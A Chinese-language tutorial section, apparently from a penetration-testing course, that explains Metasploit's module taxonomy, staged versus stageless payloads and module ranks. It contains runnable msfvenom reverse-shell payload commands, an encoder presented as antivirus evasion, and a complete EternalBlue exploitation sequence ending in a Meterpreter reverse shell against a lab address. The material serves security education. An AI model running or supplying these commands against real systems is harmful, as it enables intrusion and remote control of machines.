本节摘要:SOURCE 2.3:Exploits、Payloads(staged/stageless)、Auxiliary、Post、Encoders、Nops;模块路径即分类法。
Metasploit 的模块路径本身就是文档,学会读路径,就等于学会了分类体系:
exploit/windows/smb/ms17_010_eternalblue │ │ └── CVE 模块名 │ └── 服务 └── 平台 payload/windows/meterpreter/reverse_tcp └── staged meterpreter 反向 TCP
平台决定目标环境(windows/linux/multi/unix),服务决定协议层(smb/http/ssh),名称往往直接对应 CVE 或技术名。路径的第一段就是模块类型,第二段之后是战术组织。
| 类型 | 前缀 | 作用 |
|---|---|---|
| Exploit | exploit/ |
利用漏洞 |
| Payload | payload/ |
执行体 |
| Auxiliary | auxiliary/scanner/ 等 |
扫描 fuzz |
| Post | post/windows/ 等 |
后渗透 |
| Encoder | encoder/ |
免杀变换 |
| Nop | nop/ |
滑块 |
Exploit 模块是特定漏洞的触发器,不包含最终指令。它的职责是改变程序执行流——比如栈溢出时构造返回地址覆盖 EIP/RIP。框架把底层细节封装在标准 API 之后,使用者只需关心目标选择与参数配置。
# 选模块前的三个自问(配合 info 命令) info exploit/windows/smb/ms17_010_eternalblue # 1. Supported targets 里有没有目标 OS/架构? # 2. Rank 是多少?excellent/great 优先于 manual # 3. 是否支持 check?可先做非破坏验证
Payload 分三大类:单级(stageless)、stager(传输体)、stage。当缓冲区空间不足以承载完整后门时,先用极小的 stager 回连下载 stage。经典路径 windows/meterpreter/reverse_tcp 就是 staged 模式:
/meterpreter/ 中间带斜杠):体积小、适合受限环境,但多一步下载行为,易被 EDR 发现meterpreter_reverse_tcp 中间下划线):完整 DLL 一次性打包,体积大但网络特征少# 体积对比(隔离环境观察) msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f raw -o staged.bin msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f raw -o stageless.bin ls -la staged.bin stageless.bin # staged 往往只有几百字节,stageless 达几十到几百 KB
Auxiliary 不以获取权限为目标,负责端口扫描、服务指纹、弱口令爆破、模糊测试。它的输出是情报而非会话。例如 auxiliary/scanner/smb/smb_login 用字典尝试 SMB 登录——这是后续横向移动的素材来源。
Post 模块依赖已有 session,运行在目标系统上下文中。提权(检测未修补 CVE)、信息收集(网络配置、软件列表、凭据)、持久化(注册表、计划任务)都在这一层。APT 模拟中 Post 使用频率远高于 Exploit。
x86/shikata_ga_nai 是经典多态编码器(详见 5.3)0x90),提高缓冲溢出中跳转落点的命中率,多态 NOP 还能增加静态分析难度# 观察编码器对坏字符的处理思路(教学演示) msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.56.1 LPORT=4444 \ -e x86/xor_dynamic -f c # 输出 C 格式 shellcode,可观察编码后的字节序列特征

攻击者控制台 → Exploit → 触发漏洞 → Payload 接管 └→ Auxiliary(情报) └→ Stager 下载 Stage → Meterpreter/Shell └→ 会话建立后 → Post 模块
整套体系是完整闭环:Auxiliary 侦察 → Exploit 突破 → Payload 建立通道 → Post 深入控制 → Encoder/Nop 保障到达。
⚠️ 常见坑:把 auxiliary 当 exploit 跑——aux 通常无 payload 会话,跑完只返回情报表格;另一个坑是混用 staged/stageless 命名,
_reverse_tcp与reverse_tcp一字之差,行为完全不同。
💡 关键直觉:路径即文档;看 rank(excellent/good)估成功率。
show payloads、show auxiliary、show post可以随时按类型浏览整个武器库。
-e 可能破坏坏字符约束、膨胀体积,需权衡每个模块都有 rank 属性,基于稳定性、副作用风险与默认配置可用性分级:
| Rank | 含义 | 使用建议 |
|---|---|---|
| excellent | 极稳定,几乎不会打崩目标 | 优先选择 |
| great | 高可靠,默认配置即可用 | 常用 |
| good | 可用,但可能需要调参 | 谨慎 |
| normal / manual | 实验性或需大量手工 | 仅明确场景使用 |
# 查看模块排名与支持目标 msf6 > use exploit/multi/http/struts2_rest_xstream msf6 exploit(multi/http/struts2_rest_xstream) > info # Rank: excellent # Targets: 0 => Universal # 1 => Windows x64 # 2 => Linux x64
经验法则:有 excellent 模块就不急着用 manual;info 里没有目标平台匹配,就不该硬跑。
一个规范的选模块流程,是把搜索、情报、验证串起来:
# 1. 基于扫描情报搜索(假设数据库已导入) db_nmap -sV -p445 192.168.56.10 services -p 445 # 192.168.56.10 445 tcp microsoft-ds Windows 7 SP1 # 2. 搜索对应漏洞模块 search type:exploit platform:windows name:smb cve:2017 # 3. 看 info 确认 target 匹配 info exploit/windows/smb/ms17_010_eternalblue # 4. 支持 check 的先做非破坏验证 use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.56.10 check # [+] 192.168.56.10:445 - The target is vulnerable.
# 5. 选 payload 并执行 set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.56.1 run
这套"情报 → 搜索 → 验证 → 执行"的流程,把第 2 章的分类知识与第 3 章的工作流衔接起来。
模块在磁盘上是普通 Ruby 文件,理解这一点有利于二次开发:
/usr/share/metasploit-framework/modules/ ├── exploits/ # 漏洞利用 ├── payloads/ # 攻击载荷(stagers/stages/singles) ├── auxiliary/ # 扫描/侦察/爆破 ├── post/ # 后渗透(windows/linux/multi/gather/manage) ├── encoders/ # 编码器(x86/x64 等多态/静态) ├── nops/ # NOP 生成器 └── evasion/ # 规避模块(较新分类)
# 观察目录结构 ls /usr/share/metasploit-framework/modules/exploits/windows/smb/ # 文件名与模块名一一对应
自定义模块放入 ~/.msf4/modules/(或 ~/.msf6/modules/)即可被 search 与 use 发现——这是 5.2 章模块开发的前置知识。